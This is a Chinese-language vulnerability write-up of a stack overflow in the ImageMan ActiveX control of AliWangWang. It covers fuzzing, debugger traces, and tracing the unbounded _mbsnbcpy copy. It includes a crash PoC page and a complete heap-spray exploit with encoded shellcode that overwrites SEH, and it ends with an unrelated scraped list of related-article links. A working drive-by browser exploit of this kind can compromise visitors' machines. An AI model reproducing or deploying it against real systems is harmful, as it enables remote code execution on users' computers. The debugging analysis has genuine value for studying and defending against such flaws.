阿里旺旺ActiveX控件ImageMan溢出 漏洞分析
用ComRaider模糊测试
针对ActiveX控件的漏洞分析方法
poc
<html><body><object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object><script>var buffer = '';while (buffer.length < 1111) buffer+="A";target.AutoPic(buffer,"defaultV");</script></body>
</html>
OD附加IE
ALT+E,找到模块OLEAUT32,双击进入
Crtl+N,找到函数DispCallFunc,双击进入
找到DispCallFunc函数中首个CALL ECX,下断,动态调试,跟进即是漏洞函数
IE打开poc,程序断在CALL ECX
F7跟进
来到了AutoPic函数
获取超长字符串参数
触发
基于污点追踪定位漏洞
用windbg附加IE,打开poc,中断
(1340.370): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=1003ed3c ecx=0012fefc edx=ffed0104 esi=00000041 edi=00130000
eip=1003406b esp=0012dd78 ebp=0012dd80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AliWangWang\Pictool\ImageMan.dll -
ImageMan!DllUnregisterServer+0x32e70:
1003406b 8807 mov byte ptr [edi],al ds:0023:00130000=41
看看edi
0:000> !address edi
Usage: MemoryMappedFile
Allocation Base: 00130000
Base Address: 00130000
End Address: 00133000
Region Size: 00003000
Type: 00040000 MEM_MAPPED
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Mapped file name: PageFile
所以异常是因为向只读内存写数据
在IDA找到中断地址0x1003406b
发现其位于函数_mbsnbcpy
红线即触发异常
0x1003406b位于_mbsnbcpy函数中,_mbsnbcpy中将第二个参数中的数据复制到第一个参数位置,第三参数size_t是复制的个数。
栈溢出的原因一般是对内存拷贝的长度没有限制,这里追踪_mbsnbcpy中第三个参数size_t。
Ctrl+X查看哪里调用了_mbsnbcpy
windbg栈回溯
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012dd80 1001c324 0012dfc4 0012dec0 ffed2141 ImageMan!DllUnregisterServer+0x32e70
0012dd94 1001ac30 0012dfc4 0012dec0 ffed2141 ImageMan!DllUnregisterServer+0x1b129
0012e0c8 41414141 41414141 41414141 41414141 ImageMan!DllUnregisterServer+0x19a35
0012e0cc 41414141 41414141 41414141 41414141 0x41414141
0012e0d0 41414141 41414141 41414141 41414141 0x41414141
0012e0d4 41414141 41414141 41414141 41414141 0x41414141
0012e0d8 41414141 41414141 41414141 41414141 0x41414141
......
_mbsnbcpy函数返回0x1001C324
可以断定调用_mbsnbcpy的函数是sub_1001C310
sub_1001C310只起到了传输size_t的功能,并没有修改size_t,需要继续回溯上层函数。Ctrl+X
点进去,做了必要的分析
它的c代码
漏洞利用
覆盖seh
泉哥的exploit
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++) s+=unescape("%0D%0D%0D%0D");target.AutoPic(s,"defaultV");</script>
</body>
</html>
成功覆盖
阿里旺旺ActiveX控件ImageMan溢出 漏洞分析相关推荐
- asp activex 读取服务器上的文件,webshell中上传asp文件调用服务器ActiveX控件溢出获取shell...
Team: http://www.ph4nt0m.org Author: 云舒(http://www.icylife.net) Date: 2008-02-19 做windows系统渗透测试的时候有w ...
- 在 .NET Compact Framework 2.0 中宿主 ActiveX 控件
适用于: ActiveX Microsoft .NET Compact Framework 版本 2.0 摘要:了解如何在使用 .NET Compact 的应用程序中宿主 ActiveX 控件.本文提 ...
- 开发ActiveX控件调用另一个ActiveX系列0——身份证识别仪驱动的问题
程序员要从0下表开始,这篇是介绍这个系列的背景的,没有兴趣的人可以直接跳过. 为什么要开发ActiveX控件 由于工作需要,我们开发了一个网站,使用了一款身份证识别仪的网页ActiveX(OCX)插件 ...
- vs2008 外部调用ActiveX控件接口方法
转自:http://topic.csdn.net/u/20090605/16/018e26e9-06e2-4e0d-8099-bc8eb326afde.html sndaxdrs: 初学activeX ...
- VC使用ActiveX控件常见问题
转自:http://lingchuangsong.blog.163.com/blog/static/126932322008631104133309/ 一方面,它表示将你联系到Microsoft.In ...
- vs2008 ActiveX控件测试容器的生成以及调试ActiveX控件
1.ActiveX控件测试容器的生成:用TSTCON生成测试容器 http://msdn.microsoft.com/zh-cn/library/f9adb5t5(v=vs.90).aspx 在搜索里 ...
- 如何发布ActiveX 控件
转自:http://blog.csdn.net/zougangx/archive/2008/07/30/2738147.aspx [背景] 做过ActiveX控件的朋友都知道,要想把自己做的Activ ...
- vc mysql控件_VC++使用ActiveX控件连接和操作数据库
VS2008运用ActiveX控件连接和操作数据库关闭时一直有个内存释放的错误,好像使用VC6.0会多生成2个文件,就不会有问题. VC++使用ActiveX控件连接和操作数据库的方法分两种: 1.通 ...
- 用C#编写ActiveX控件(三) 转载
在前面我们已经完成了ActiveX控件的开发,接下来的就是发布它了. 首先,我们建立一个windows安装项目,并将ActiveX控件的主输出添加到项目输出中.然后,改动ActiveX控件的主输出文件 ...
最新文章
- linux批量umount脚本,Linux下批量ping某个网段ip的脚本
- ubuntu 终端内查找/搜索
- AC日记——最大子段和 洛谷 P1115
- python之字符串连接
- vue 单独页面定时器 离开页面销毁定时器
- JavaWeb学习笔记(九)--HttpServletResponse
- 【uoj#174】新年的破栈 贪心
- Python字符串的替换
- unity android 版本,Unity2019与Android混合开发
- [排版题] 例4.1 输出梯形
- 异速联:解决打印样式个性化设置
- 4、python简单线性回归代码案例(完整)_Python:简单线性回归(不需要调用任何库,math都不要)...
- mysql drop表明_MySQL DROP TABLE会完全删除表还是仅删除结构?
- 数据结构队列算法——模拟病人在医院等待就诊过程
- Android 关于所谓的 深度睡眠 的问题
- python动画篮球大小_用Python把蔡徐坤打篮球视频转换成字符动画!
- Python 视频制作神器 -- Manim入门篇
- English - 英语学习小笔记
- css中字母数字自动换行
- Java核心技术·卷二·第一章笔记